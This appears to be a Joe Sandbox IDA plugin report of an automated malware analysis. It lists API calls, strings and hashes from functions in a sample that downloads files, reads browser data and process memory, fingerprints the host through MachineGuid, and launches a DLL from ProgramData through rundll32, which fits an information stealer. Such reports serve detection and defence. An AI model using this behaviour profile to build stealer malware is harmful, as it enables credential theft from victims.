Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$InternetOpenlstrcpy$lstrlen$CreateDirectoryHeapProcessProcess32$AllocChangeCloseExitFindFirstInformationNextNotificationSleepSnapshotToolhelp32VolumeWindowsstrtok_s
String ID: .exe$_DEBUG.zip$arp$dabl$http://$org$zapto
API String ID: 1055840830-1018522893
Opcode ID: d055af89539909a0364852ab473c820479d9de41da3cb2e5f85849b93c3b9534
Instruction ID: 5149d7db3151a7aa41f06673e73a95164553ab4e76d5b4a2328af1e9eeac5308
Opcode Fuzzy Hash: d055af89539909a0364852ab473c820479d9de41da3cb2e5f85849b93c3b9534
Instruction Fuzzy Hash: 2BA23577D10158AFCB16FBA0EC92DEDB778AF54300F54426AE50767291EF302B49CA92

Function 003D4E90 Relevance: 15.1, APIs: 10, Instructions: 125networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D4ED3
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000000), ref: 003D4EEE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,-00800100,00000000), ref: 003D4F13
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000,?,?,?,?,?,?,00000000), ref: 003D4F36
InternetReadFile.WININET(00000000,?,00000400,?), ref: 003D4F4F
WriteFile.KERNEL32(00000000,?,?,003E361C,00000000,?,?,?,?,?,?,00000000), ref: 003D4F76
InternetReadFile.WININET(00000000,?,00000400,?), ref: 003D4FA0
CloseHandle.KERNEL32(00000000,?,00000400,?,?,?,?,?,?,00000000), ref: 003D4FBC
InternetCloseHandle.WININET(00000000), ref: 003D4FC3
InternetCloseHandle.WININET(00000000), ref: 003D4FCA

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CrackCreateWritelstrcpylstrlen
String ID:
API String ID: 105467990-0
Opcode ID: de2b7c2b45388eebe44148e628036cb452cdebb737c56d3a5a50f0f032a9f2c1
Instruction ID: bd97b17bb5ceae108988e86557394373c35b14f40a41ad7c76065afbf30bae76
Opcode Fuzzy Hash: de2b7c2b45388eebe44148e628036cb452cdebb737c56d3a5a50f0f032a9f2c1
Instruction Fuzzy Hash: 6A4173B2650209ABEB11EB70EC86FFE337CFB44700F545529F602A62D1DB74AA04CB65

Function 003DE870 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,031D0A38), ref: 003DE8C0
StrCmpCA.SHLWAPI(00000000,031D08A8), ref: 003DE947
StrCmpCA.SHLWAPI(00000000,firefox), ref: 003DECBD
StrCmpCA.SHLWAPI(00000000,031D0A58), ref: 003DEA4C

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

StrCmpCA.SHLWAPI(00000000,031D0A38), ref: 003DEB30
StrCmpCA.SHLWAPI(00000000,031D08A8), ref: 003DEBB9

Strings

firefox, xrefs: 003DECAF
Stable\, xrefs: 003DE962, 003DEBD4

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$firefox
API String ID: 3722407311-3160656979
Opcode ID: 1fdbbba12f79b7b1eeca1f2e47dd4572ad10008128e81e6dc99d1383a835bbfb
Instruction ID: a008629fa9a61a519ad8cc50566586e569214103bd4db32bc735df22e1629599
Opcode Fuzzy Hash: 1fdbbba12f79b7b1eeca1f2e47dd4572ad10008128e81e6dc99d1383a835bbfb
Instruction Fuzzy Hash: D0E13476A002449FCB15FF64E996EEE7BB5BF44300F44C52AE90A9F355DB30AA04CB91

Function 003DF550 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 192COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 003DF561
OpenProcess.KERNEL32(001FFFFF,00000000,00000000,00000030), ref: 003DF588
memset.MSVCRT ref: 003DF5E4
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 003DF63C
memset.MSVCRT ref: 003DF6CF

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 003DF5FA, 003DF6E8
N0ZWFt, xrefs: 003DF692

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Processmemset$MemoryOpenRead
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 2048220554-1622206642
Opcode ID: eed16be8c1249c191d18f466134a75e3888e630e16c0dd964b58babf16571c16
Instruction ID: 020e870ac9b343c009fbf38d5ec2cd617d82a898f6485459a017d03a92c44794
Opcode Fuzzy Hash: eed16be8c1249c191d18f466134a75e3888e630e16c0dd964b58babf16571c16
Instruction Fuzzy Hash: 30613972D00215ABDB229BA5EC85FEFB7B8AF44310F04423AE5096B3C1D7749A448BA1

Function 003E3420 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

ShellExecuteEx.SHELL32(0000003C), ref: 003E3667

Strings

C:\Windows\system32\rundll32.exe, xrefs: 003E3595
<, xrefs: 003E363A
"" , xrefs: 003E34D2
C:\ProgramData\, xrefs: 003E344F
.dll, xrefs: 003E34B0
O7>, xrefs: 003E360C, 003E36C3, 003E3611

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$<$C:\ProgramData\$C:\Windows\system32\rundll32.exe$O7>
API String ID: 2215929589-4000062077
Opcode ID: 2da2ad72ee3dafdb0ce4435ecde1a84a33c9bfe440181cdacae128462d42b128
Instruction ID: 91fb8958f721620e8f1467a10911a7c21d662ee13a6c3952dc933692e0966cd4
Opcode Fuzzy Hash: 2da2ad72ee3dafdb0ce4435ecde1a84a33c9bfe440181cdacae128462d42b128
Instruction Fuzzy Hash: 8381CE77C10148AEDB0AFBA0F8D2DEDB778AF14700F54413AF5176A2A1EF706609DA61

Function 003D3D70 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

Strings

5P=, xrefs: 003D3DCD, 003D3DDD, 003D3DFB
<, xrefs: 003D3D92

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: 5P=$<
API String ID: 1274457161-2530878635
Opcode ID: ab134494c69a75e49d3609de9729974eaee27529b972ac6747d47119a87338af
Instruction ID: 4beec8961ba619bcde6f739a93ebb2782e6b9b0890f6cdfe11c07299d4ec4d79
Opcode Fuzzy Hash: ab134494c69a75e49d3609de9729974eaee27529b972ac6747d47119a87338af
Instruction Fuzzy Hash: 88117071D00208ABDB01EFA4E885BDEB7B8EB44310F009226FA15AB390EF3059058B94

Function 003E0340 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003E0365
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,003F01E9), ref: 003E0382
RegQueryValueExA.KERNEL32(003F01E9,MachineGuid,00000000,00000000,00000000,000000FF), ref: 003E03A4
RegCloseKey.ADVAPI32(003F01E9), ref: 003E03AE
CharToOemA.USER32(00000000,?), ref: 003E03C2

Strings

MachineGuid, xrefs: 003E039E
SOFTWARE\Microsoft\Cryptography, xrefs: 003E0378

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2391366103-1211650757
Opcode ID: 0447f6aeb79f79b78ecde36c4b15ce19e277b03749cd48acf803ccb6570189b0
Instruction ID: e960175dd948039dd2d2839cc1701a1bb49c90e2773c9481ece144d2a9ccce3e
Opcode Fuzzy Hash: 0447f6aeb79f79b78ecde36c4b15ce19e277b03749cd48acf803ccb6570189b0
Instruction Fuzzy Hash: 3901847994031DBBDB64DB90DC4AFEEB77CEB54700F105298F648A60C1DBB06B848B50

Function 003E5D00 Relevance: 10.6, APIs: 7, Instructions: 107stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,031D5500,?,00000104,?,00000104,?,00000104,?,00000104), ref: 003E5D5B

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

lstrcatA.KERNEL32(?,00000000), ref: 003E5D7E
lstrcatA.KERNEL32(?,?), ref: 003E5D9A
lstrcatA.KERNEL32(?,?), ref: 003E5DAE
lstrcatA.KERNEL32(?,031CA7B8), ref: 003E5DC1
lstrcatA.KERNEL32(?,?), ref: 003E5DD5
lstrcatA.KERNEL32(?,031D5CD0), ref: 003E5DE9

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E0D10: GetFileAttributesA.KERNEL32(00000000,?,?,003DB844,?,00000000,?,00000000,003F01E9,003F01E9), ref: 003E0D1D

Part of subcall function 003E5A70: GetProcessHeap.KERNEL32(00000000,0098967F,00000000), ref: 003E5A82
Part of subcall function 003E5A70: HeapAlloc.KERNEL32(00000000), ref: 003E5A89
Part of subcall function 003E5A70: wsprintfA.USER32 ref: 003E5AA2
Part of subcall function 003E5A70: FindFirstFileA.KERNEL32(?,?), ref: 003E5AB9
Part of subcall function 003E5A70: StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E5ADC
Part of subcall function 003E5A70: StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5AF6
Part of subcall function 003E5A70: wsprintfA.USER32 ref: 003E5B18
Part of subcall function 003E5A70: CopyFileA.KERNEL32(?,00000000,00000001), ref: 003E5BBC

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 3853466361-0
Opcode ID: 1d196092a1236e66c807dcea02e761f99d8337336870fcfeb621056c738ceb39
Instruction ID: 430cace51ae24a0e8e0fedf52d1bcbe3a1eef8e37a925096e824a7b37034fb0f
Opcode Fuzzy Hash: 1d196092a1236e66c807dcea02e761f99d8337336870fcfeb621056c738ceb39
Instruction Fuzzy Hash: BA4178B295035C6BCB15FBB0DC86EDE737C6B14300F0889A5B61696191EBB457C8CF61

Function 003E2FA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D5010: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D5062
Part of subcall function 003D5010: StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,?), ref: 003D507A
Part of subcall function 003D5010: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D50A2
Part of subcall function 003D5010: HttpOpenRequestA.WININET(00000000,GET,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D50DC
Part of subcall function 003D5010: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D5100
Part of subcall function 003D5010: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D510F

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E2FFA
lstrlenA.KERNEL32(00000000), ref: 003E3011

Part of subcall function 003E0DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,003E3026,00000000,00000000), ref: 003E0DBC

StrStrA.SHLWAPI(00000000,00000000), ref: 003E3039
lstrlenA.KERNEL32(00000000), ref: 003E304E
lstrlenA.KERNEL32(00000000), ref: 003E306B

Strings

ERROR, xrefs: 003E2FEC, 003E3076, 003E309D

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
